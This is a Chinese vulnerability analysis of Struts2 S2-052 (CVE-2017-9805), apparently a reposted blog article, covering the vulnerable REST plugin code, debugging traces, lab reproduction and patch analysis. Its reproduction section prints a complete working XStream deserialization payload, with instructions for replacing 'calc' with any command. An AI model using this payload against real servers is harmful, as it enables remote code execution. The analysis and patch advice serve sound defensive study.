Struts2-052漏洞分析

2024-03-14 00:10
文章标签 分析 漏洞 struts2 052

本文主要是介绍Struts2-052漏洞分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这里写图片描述

1. 漏洞描述

  • 漏洞描述:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
  • 漏洞编号:CVE-2017-9805
  • 漏洞作者:lgtm.com的安全研究员
  • 影响版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
  • 漏洞等级:高危

2. 漏洞简介

QuestionDescription
Who should read thisAll Struts 2 developers and users
Impact of vulnerabilityA RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests
Maximum security ratingCritical
RecommendationUpgrade to Struts 2.5.13 or Struts 2.3.34
Affected SoftwareStruts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
ReporterMan Yue Mo (lgtm.com / Semmle). More information on the lgtm.com blog: https://lgtm.com/blog
CVE IdentifierCVE-2017-9805

3. 漏洞分析

3.1 漏洞说明

  本次漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。

3.2 漏洞原理分析

  本次漏洞的成因由两部分组成,一个是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。

关键代码在org.apache.struts2.rest.ContentTypeInterceptor里。

 public String intercept(ActionInvocation invocation) throws Exception {HttpServletRequest request = ServletActionContext.getRequest();ContentTypeHandler handler = selector.getHandlerForRequest(request);Object target = invocation.getAction();if (target instanceof ModelDriven) {target = ((ModelDriven)target).getModel();}if (request.getContentLength() > 0) {InputStream is = request.getInputStream();InputStreamReader reader = new InputStreamReader(is);handler.toObject(reader, target);}return invocation.invoke();}

ContentTypeHandler handler = selector.getHandlerForRequest(request); 通过request数据获取执行方法:org.apache.struts2.rest.handler.XStreamHandler

handler.toObject(reader, target); 对获取到的序列化的xml数据进行反序列化操作,在这一阶段将序列化的恶意POC进行反序列化操作并造成代码执行。

这里我们直接断点打在上文说的两个地方,用恶意payload进行攻击。

这里写图片描述

我们可以看到整个的调用栈,找到断点处,f5进入断点逻辑,可以看到在标记处获取Content-Type的值为:application/xml。

这里写图片描述

继续debug,可以看到根据我们获取到的content-type值从而得到我们代码执行的调用栈地址:

这里写图片描述

指定了我们的处理方法,继续断点到handler.toObject(reader, target);处:

这里写图片描述

f5进去toObject函数方法,继续执行,在XStreamHanler.toObject调用了XStream的fromXml,从而进入反序列化流程:

这里写图片描述

继续执行,看到反序列化函数unmarshal,在这个函数执行时没有进行数据安全检查,导致远程代码执行。

这里写图片描述

返回执行结果:

这里写图片描述

4. 漏洞复现

  1. 通过网上下载含有struts2-rest-plugin-2.5.12.jar版本的官方环境struts2-rest-showcase-2.5.12.war。
  2. 将下载的war包通过eclipse导入到工程中,File—>Import—->war file。

    这里写图片描述

  3. 需要注意的是,由于javax.imageio的依赖关系,我们的环境的jdk版本需要是jdk8以上,jdk8某些低版本也是不行的,本文作者的版本是jdk8_111,后续的一些验证都是在这个版本上做的。
  4. 启动工程,然后通过burpsuite进行抓包,然后Send to Reapeater 进行数据包篡改。

    这里写图片描述

  5. 主要POC为:

    <map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
    <flags>0</flags> 
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
    <dataHandler> 
    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
    <is class="javax.crypto.CipherInputStream"> 
    <cipher class="javax.crypto.NullCipher"> 
    <initialized>false</initialized> 
    <opmode>0</opmode> 
    <serviceIterator class="javax.imageio.spi.FilterIterator"> 
    <iter class="javax.imageio.spi.FilterIterator"> 
    <iter class="java.util.Collections$EmptyIterator"/> 
    <next class="java.lang.ProcessBuilder"> 
    <command> 
    <string>calc</string> 
    </command> 
    <redirectErrorStream>false</redirectErrorStream> 
    </next> 
    </iter> 
    <filter class="javax.imageio.ImageIO$ContainsFilter"> 
    <method> 
    <class>java.lang.ProcessBuilder</class> 
    <name>start</name> 
    <parameter-types/> 
    </method> 
    <name>foo</name> 
    </filter> 
    <next class="string">foo</next> 
    </serviceIterator> 
    <lock/> 
    </cipher> 
    <input class="java.lang.ProcessBuilder$NullInputStream"/> 
    <ibuffer></ibuffer> 
    <done>false</done> 
    <ostart>0</ostart> 
    <ofinish>0</ofinish> 
    <closed>false</closed> 
    </is> 
    <consumed>false</consumed> 
    </dataSource> 
    <transferFlavors/> 
    </dataHandler> 
    <dataLen>0</dataLen> 
    </value> 
    </jdk.nashorn.internal.objects.NativeString> 
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
    </entry> <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    </map>
    

注意事项:

  1. 注意如果数据包请求方式为GET的话需要修改为POST请求方式。
  2. 注意修改Content-Type的值为:application/xml。
  3. 该POC为windows服务器上弹出计算器payload,若想修改为其他执行payload,将<string>calc</string>中的calc替换为你想执行的命令,空格用多个 <string></string>标签嵌套。

5. 修复方案

5.1 补丁分析

对struts2-rest-plugin-2.5.12.jar中的struts-plugin.xml进行分析,可以看到XStreamHanler就是Content-Type:xml的默认处理句柄,而且可以看出xml是默认支持格式,这也就是说存在rest插件就会存在XStream的反序列化漏洞。

这里写图片描述

通过对比官方的补丁,我们可以看到最主要的修复逻辑在plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java中:

这里写图片描述

在官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类。

5.2 修复建议

  1. Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本
  2. Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本


原文链接:https://yaofeifly.github.io

这篇关于Struts2-052漏洞分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/806658

相关文章

C++ Sort函数使用场景分析

《C++Sort函数使用场景分析》sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变,如果某些场景需要保持相同元素间的相对顺序,可使... 目录C++ Sort函数详解一、sort函数调用的两种方式二、sort函数使用场景三、sort函数排序

kotlin中const 和val的区别及使用场景分析

《kotlin中const和val的区别及使用场景分析》在Kotlin中,const和val都是用来声明常量的,但它们的使用场景和功能有所不同,下面给大家介绍kotlin中const和val的区别,... 目录kotlin中const 和val的区别1. val:2. const:二 代码示例1 Java

Go标准库常见错误分析和解决办法

《Go标准库常见错误分析和解决办法》Go语言的标准库为开发者提供了丰富且高效的工具,涵盖了从网络编程到文件操作等各个方面,然而,标准库虽好,使用不当却可能适得其反,正所谓工欲善其事,必先利其器,本文将... 目录1. 使用了错误的time.Duration2. time.After导致的内存泄漏3. jsO

Spring事务中@Transactional注解不生效的原因分析与解决

《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3

找不到Anaconda prompt终端的原因分析及解决方案

《找不到Anacondaprompt终端的原因分析及解决方案》因为anaconda还没有初始化,在安装anaconda的过程中,有一行是否要添加anaconda到菜单目录中,由于没有勾选,导致没有菜... 目录问题原因问http://www.chinasem.cn题解决安装了 Anaconda 却找不到 An

Spring定时任务只执行一次的原因分析与解决方案

《Spring定时任务只执行一次的原因分析与解决方案》在使用Spring的@Scheduled定时任务时,你是否遇到过任务只执行一次,后续不再触发的情况?这种情况可能由多种原因导致,如未启用调度、线程... 目录1. 问题背景2. Spring定时任务的基本用法3. 为什么定时任务只执行一次?3.1 未启用

C++ 各种map特点对比分析

《C++各种map特点对比分析》文章比较了C++中不同类型的map(如std::map,std::unordered_map,std::multimap,std::unordered_multima... 目录特点比较C++ 示例代码 ​​​​​​代码解释特点比较1. std::map底层实现:基于红黑

Spring、Spring Boot、Spring Cloud 的区别与联系分析

《Spring、SpringBoot、SpringCloud的区别与联系分析》Spring、SpringBoot和SpringCloud是Java开发中常用的框架,分别针对企业级应用开发、快速开... 目录1. Spring 框架2. Spring Boot3. Spring Cloud总结1. Sprin

Spring 中 BeanFactoryPostProcessor 的作用和示例源码分析

《Spring中BeanFactoryPostProcessor的作用和示例源码分析》Spring的BeanFactoryPostProcessor是容器初始化的扩展接口,允许在Bean实例化前... 目录一、概览1. 核心定位2. 核心功能详解3. 关键特性二、Spring 内置的 BeanFactory

MyBatis-Plus中Service接口的lambdaUpdate用法及实例分析

《MyBatis-Plus中Service接口的lambdaUpdate用法及实例分析》本文将详细讲解MyBatis-Plus中的lambdaUpdate用法,并提供丰富的案例来帮助读者更好地理解和应... 目录深入探索MyBATis-Plus中Service接口的lambdaUpdate用法及示例案例背景